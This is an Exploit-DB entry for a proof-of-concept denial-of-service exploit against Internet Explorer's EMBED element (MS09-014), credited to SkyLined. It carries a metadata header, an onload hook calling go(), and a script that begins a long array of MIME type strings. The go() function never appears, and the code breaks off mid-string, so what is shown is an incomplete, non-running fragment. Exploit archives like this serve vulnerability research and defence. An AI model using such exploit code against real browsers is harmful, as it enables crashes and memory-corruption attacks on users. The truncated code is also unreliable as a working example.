Exploit-DB #8479
Description: Microsoft Internet Explorer - EMBED Memory Corruption (PoC) (MS09-014)
Type: dos
Platform: windows
Date: 2009-04-20
Author: Skylined

Exploit:
<BODY onload=go()></BODY>
<!--
MS09-014: MSIE EMBED element race condition memory corruption
Code by SkyLined <berendjanwever@gmail.com>
http://skypher.com/SkyLined/Repro/MSIE/EMBED%20memory%20corruption/repro3.html
http://skypher.com/index.php/2009/04/19/ms09-014-embed-element-memory-corruption
-->
<SCRIPT>
	var asMimeTypes = [
		"x-world/x-3dmf",
		"x-world/x-3dmf",
		"application/octet-stream",
		"application/x-authorware-bin",
		"application/x-authorware-map",
		"application/x-authorware-seg",
		"text/vnd.abc",
		"text/html",
		"video/animaflex",
		"application/postscript",
		"audio/aiff",
		"audio/x-aiff",
		"audio/aiff",
		"audio/x-aiff",
		"audio/aiff",
		"audio/x-aiff",
		"application/x-aim",
		"text/x-audiosoft-intra",
		"application/x-navi-animation",
		"application/x-nokia-9000-communicator-add-on-software",
		"application/mime",
		"application/octet-stream",
		"application/arj",
		"application/octet-stream",
		"image/x-jg",
		"video/x-ms-asf",
		"text/x-asm",
		"text/asp",
		"application/x-mplayer2",
		"video/x-ms-asf",
		"video/x-ms-asf-plugin",
		"audio/basic",
		"audio/x-au",
		"application/x-troff-msvideo",
		"video/avi",
		"video/msvideo",
		"video/x-msvideo",
		"video/avs-video",
		"application/x-bcpio",
		"application/mac-binary",
		"application/macbinary",
		"application/octet-stream",
		"application/x-binary",
		"application/x-macbinary",
		"image/bmp",
		"image/bmp",
		"image/x-windows-bmp",
		"application/book",
		"application/book",
		"application/x-bzip2",
		"application/x-bsh",
		"application/x-bzip",
		"application/x-bzip2",
		"text/plain",
		"text/x-c",
		"text/plain",
		"application/vnd.ms-pki.seccat",
		"text/plain",
		"text/x-c",
		"application/clariscad",
		"application/x-cocoa",
		"application/cdf",
		"application/x-cdf",
		"application/x-netcdf",
		"application/pkix-cert",
		"application/x-x509-ca-cert",
		"application/x-chat",
		"application/x-chat",
		"application/java",
		"application/java-byte-code",
		"application/x-java-class",
		"application/octet-stream",
		"text/plain",
		"text/plain",
		"application/x-cpio",
		"text/x-c",
		"application/mac-compactpro",
		"application/x-compactpro",
		"application/x-cpt",
		"application/pkcs-crl",
		"application/pkix-crl",
		"application/pkix-cert",
		"application/x-x509-ca-cert",
		"application/x-x509-user-cert",
		"application/x-csh",
		"text/x-script.csh",
		"application/x-pointplus",
		"text/css",
		"text/plain",
		"application/x-director",
		"application/x-deepv",
		"text/plain",
		"application/x-x509-ca-cert",
		"video/x-dv",
		"application/x-director",
		"video/dl",
		"video/x-dl",
		"application/msword",
		"application/msword",
		"application/commonground",
		"application/drafting",
		"application/octet-stream",
		"video/x-dv",
		"application/x-dvi",
		"drawing/x-dwf (old)",
		"model/vnd.dwf",
		"application/acad",
		"image/vnd.dwg",
		"image/x-dwg",
		"application/dxf",
		"image/vnd.dwg",
		"image/x-dwg",
		"application/x-director",
		"text/x-script.elisp",
		"application/x-bytecode.elisp (compiled elisp)",
		"application/x-elc",
		"application/x-envoy",
		"application/postscript",
		"application/x-esrehber",
		"text/x-setext",
		"application/envoy",
		"application/x-envoy",
		"application/octet-stream",
		"text/plain",
		"text/x-fortran",
		"text/x-fortran",
		"text/plain",
		"text/x-fortran",
		"application/vnd.fdf",
		"application/fractals",
		"image/fif",
		"video/fli",
		"video/x-fli",
		"image/florian",
		"text/vnd.fmi.flexstor",
		"video/x-atomic3d-feature",
		"text/plain",
		"text/x-fortran",
		"image/vnd.fpx",
		"image/vnd.net-fpx",
		"application/freeloader",
		"audio/make",
		"text/plain",
		"image/g3fax",
		"image/gif",
		"video/gl",
		"video/x-gl",
		"audio/x-gsm",
		"audio/x-gsm",
		"application/x-gsp",
		"application/x-gss",
		"application/x-gtar",
		"application/x-compressed",
		"application/x-gzip",
		"application/x-gzip",
		"multipart/x-gzip",
		"text/plain",
		"text/x-h",
		"application/x-hdf",
		"application/x-helpfile",
		"application/vnd.hp-hpgl",
		"text/plain",
		"text/x-h",
		"text/x-script",
		"application/hlp",
		"application/x-helpfile",
		"application/x-winhelp",
		"application/vnd.hp-hpgl",
		"application/vnd.hp-hpgl",
		"application/binhex",
		"application/binhex4",
		"application/mac-binhex",
		"application/mac-binhex40",
		"application/x-binhex40",
		"application/x-mac-binhex40",
		"application/hta",
		"text/x-component",
		"text/html",
		"text/html",
		"text/html",
		"text/webviewhtml",
		"text/html",
		"x-conference/x-cooltalk",
		"image/x-icon",
		"text/plain",
		"image/ief",
		"image/ief",
		"application/iges",
		"model/iges",
		"application/iges",
		"model/iges",
		"application/x-ima",
		"application/x-httpd-imap",
		"application/inf",
		"application/x-internett-signup",
		"application/x-ip2",
		"video/x-isvideo",
		"audio/it",
		"application/x-inventor",
		"i-world/i-vrml",
		"application/x-livescreen",
		"audio/x-jam",
		"text/plain",
		"text/x-java-source",
		"text/plain",
		"text/x-java-source",
		"application/x-java-commerce",
		"image/jpeg",
		"image/pjpeg",
		"image/jpeg",
		"image/jpeg",
		"image/pjpeg",
		"image/jpeg",
		"image/pjpeg",
		"image/jpeg",
		"image/pjpeg",
		"image/x-jps",
		"application/x-javascript",
		"image/jutvision",
		"audio/midi",
		"music/x-karaoke",
		"application/x-ksh",
		"text/x-script.ksh",
		"audio/nspaudio",
		"audio/x-nspaudio",
		"audio/x-liveaudio",
		"application/x-latex",
		"application/lha",
		"application/octet-stream",
		"application/x-lha",
		"application/octet-stream",
		"text/plain",
		"audio/nspaudio",
		"audio/x-nspaudio",
		"text/plain",
		"application/x-lisp",
		"text/x-script.lisp",
		"text/plain",
		"text/x-la-asf",
		"application/x-latex",
		"application/octet-stream